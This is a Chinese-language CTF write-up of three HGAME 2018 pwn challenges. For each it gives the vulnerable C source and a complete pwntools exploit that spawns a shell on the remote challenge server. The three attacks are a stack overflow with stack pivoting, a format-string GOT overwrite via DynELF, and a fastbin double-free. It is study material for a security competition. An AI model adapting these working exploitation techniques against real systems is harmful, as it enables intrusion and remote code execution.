HGAME 2018 PWN WEEK4 简略WP

ascii_art_maker

漏洞很好找,read buf直接溢出了.

```
int main(void)
{
    char buf[0x80];
    init();

    puts("input the string you want to convert:");
    read(0,buf,0x90);//stack overflow
    if(buf[0]){
        print_ascii(buf);
    }
    return 0;
}
```

但是,这次就溢出了0x10个字节,只能刚好覆盖rbp和ret地址,没有多余的空间给我们写ROP.

用一个叫栈迁移的技巧.

方法可以参考:
http://veritas501.space/2017/04/23/32%E4%BD%8D%E4%B8%8B%E8%8A%B1%E5%A0%B7read_write/#pwn3
http://tacxingxing.com/2017/05/10/stack-pivot/

本题exp:

```
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']

local = 0

if local:
    cn = process('./ascii_art_maker')
    bin = ELF('./ascii_art_maker')
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
    cn = remote('111.230.149.72',10012)
    bin = ELF('./ascii_art_maker')
    libc = ELF('./libc64.so')
```

```python
def z(a=''):
    gdb.attach(cn,a)
    if a == '':
        raw_input()

prdi = 0x400a93
leave=0x400a2b
cn.recv()

pay = ''
pay = pay.ljust(0x80,'\x00')
pay+=p64(0x602f00)
pay+= p64(0x4009FC)
#z('b*0x0000000000400A2B\nc')
cn.send(pay)


pay = ''
pay+= p64(prdi)+p64(bin.got['read'])
pay+= p64(bin.plt['puts'])+p64(0x4009E0)
pay = pay.ljust(0x80,'\x00')
pay+=p64(0x602d00)
pay+= p64(0x4009FC)
cn.send(pay)


pay = ''
pay = pay.ljust(0x80,'\x00')
pay+=p64(0x602f00-0x80-8)
pay+= p64(leave)
cn.send(pay)

while 1:
    d = cn.recv()
    if 'Welcome' in d:
        break
libc_base = u64(d.replace('\n','')[:6]+'\x00\x00')-libc.symbols['read']
success(hex(libc_base))
system = libc_base+libc.symbols['system']
binsh = libc_base + libc.search('/bin/sh\x00').next()

pay = ''
pay = pay.ljust(0x80,'\x00')
pay+=p64(0x602ff0)
pay+= p64(0x4009FC)
#z('b*0x0000000000400A2B\nc')
cn.send(pay)


pay = ''
pay+= p64(prdi)+p64(binsh)
pay+= p64(system)+p64(0x4009E0)
pay = pay.ljust(0x80,'\x00')
pay+=p64(0x602d00)
pay+= p64(0x4009FC)
```

```
cn.send(pay)


pay = ''
pay = pay.ljust(0x80,'\x00')
pay+=p64(0x602ff0-0x80-8)
pay+= p64(leave)
cn.send(pay)

cn.interactive()
```

base64_decoder

洞也很好找,main函数中,decoder出来的字符串直接通过printf的第一个参数传递.造成fmt漏洞.

```
int main(void) {
    setvbuf(stdout, 0, _IONBF, 0);

    int times = 2;

    init_tbl();
    char buf[0x100];
    puts("===== online base64 decoder =====");

    while (1) {
        if(!times){
            printf("buy it : XXXXXXXXXXXXXXXXXXX");
            exit(0);
        }
        printf("this is the trial version, \033[0;31m%d\033[0m times left.\n",ti
mes);
        printf("> ");
        scanf("%255s", buf);
        if (!strcmp(buf, "exit")) {
            break;
        }
        if (check(buf)) {
            b64decode(buf);
            printf(buf);//fmt
            times--;
        }
        else {
            printf("error!");
        }
        putchar('\n');
    }

    return 0;
}
```

当时学习fmt时做的记录:http://veritas501.space/2017/04/28/格式化字符串漏洞学习/

通过这个fmt漏洞,我们能够实现任意地址读,任意地址写.

因为默认只能用两次,可以先顺势leak出stack中的stack pointer,利用stack pointer算出stack中times的位置,第二次任意地址写times为9999次,之后使用pwntools中一个叫做Dynelf的模块,实现无libc解析任意函数地址.

之后通过任意地址写再改printf的got到system,从而getshell

可以参考去年hgame的一道题 http://veritas501.space/2017/03/01/HCTF%20GAME%20PWN%E9%A2%98%20WP/#pwn-step3-Baka-Server

此题exp:

```python
#coding=utf8
from pwn import *
import base64
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']

local = 0

if local:
    cn = process('./base64_decoder')
    bin = ELF('./base64_decoder')
else:
    cn = remote('111.230.149.72',10013)
    bin = ELF('./base64_decoder')


def z(a=''):
    gdb.attach(cn,a)
    if a == '':
        raw_input()

def sendpay(s):
    cn.sendline(base64.b64encode(s))

def leak(address):
    sendpay('STRT%10$sEND'+p32(address))
    cn.recvuntil('STRT')
    data = cn.recvuntil('END')[:-3]
    if data=='':
        return '\x00'
    return data

sendpay('AAAA%2$xBBBB')
cn.recvuntil('AAAA')
stack = int(cn.recvuntil('BBBB')[:-4],16)
success(hex(stack))

pay = p32(stack-0x110)+'A'*0xb0+'%7$hhn'
sendpay(pay)
```

```
d = DynELF(leak,elf=bin,libcdb=False)
system = d.lookup('system','libc')

pay = fmtstr_payload(7,{bin.got['printf']:system})
sendpay(pay)

cn.sendline(base64.b64encode('/bin/sh'))


cn.interactive()
```

---

hacker_system_ver3

这题是堆上的洞,需要对linux的ptmalloc2堆管理有一定的了解.

可以参考http://veritas501.space/2017/07/25/堆入门资料/中的资料

👆 划重点

这题是fastbin dup的利用方式,洞在del函数中

```
void del_hacker()
{
    char buf[0x20];
    int idx;
    printf("input hacker's name:");
    read_n(buf, 0x20);
    struct hacker *p;
    int flag = 0;
    for (int i = 0; i < 0x20; i++)
    {
        if (chunklist[i])
        {
            if (!strcmp(buf, chunklist[i]->name))
            {
                flag = 1;
                idx = i;
                p = chunklist[idx];
                free(p->intro);
                free(p);
            }
        }
    }
    if (!flag)
    {
        puts("not find!!");
    }
    else
    {
        chunklist[idx] = NULL;
        printf("delete hacker %s done!!\n",buf);
    }
}
```

可以看到,如果我们有n个相同的名字,那么delete时只会将最后一个的指针清除,从而留下野指针.

exp:

```
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']

local = 0

if local:
    cn = process('./hacker_system_ver3')
    bin = ELF('./hacker_system_ver3')
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
    cn = remote('111.230.149.72',10014)
    bin = ELF('./hacker_system_ver3')
    libc = ELF('./libc64.so')


def z(a=''):
    gdb.attach(cn,a)
    if a == '':
        raw_input()


def add(name,age,intro):
    cn.sendline('1')
    cn.recv()
    cn.sendline(name)
    cn.recv()
    cn.sendline(str(age))
    cn.recv()
    cn.sendline(str(len(intro)))
    cn.recv()
    cn.sendline(intro)

def dele(name):
    cn.sendline('3')
    cn.recv()
    cn.sendline(name)

add('aaa',123,'asd')
add('veritas501',666,'a'*0x80)
add('bbb',123,'asd')
add('veritas501',123,'a'*0x80)
add('ccc',123,'asd')

dele('veritas501')
```

```
cn.sendline('2')
cn.recv()
cn.sendline('veritas501')
cn.recvuntil('id:5')
cn.recvuntil('intro:')
libc_base = u64(cn.recv(6)+'\x00'*2)-(0x3c4b20+88)
success(hex(libc_base))

add('bbb',123,'a'*0x20)
add('bbb',123,'a'*0x20)
add('bbb',123,'a'*0x20)
add('bbb',123,'a'*0x20)
add('bbb',123,'a'*0x20)
add('vvvvvv',666,'a'*0x30)
add('bbb',123,'asd')
add('vvvvvv',666,'a'*0x30)
add('bbb',123,'asd')


dele('vvvvvv')
dele('vvvvvv')
add('vvvvvv',str(0x602032),'a')
add('vvvvvv',123,'a'*0x30)
add('vvvvvv',123,'a')

read = libc_base + libc.symbols['read']
system = libc_base + libc.symbols['system']
printf = libc_base + libc.symbols['printf']
pay = p64(printf)[2:]+p64(read)+p64(system)*10
#z('b*0x0000000000400A5f\nb*0x0000000000400AFB\nc')
add('\x00',66666,pay[:0x30])


cn.sendline('2')
cn.recv()
cn.sendline('/bin/sh')

cn.interactive()
```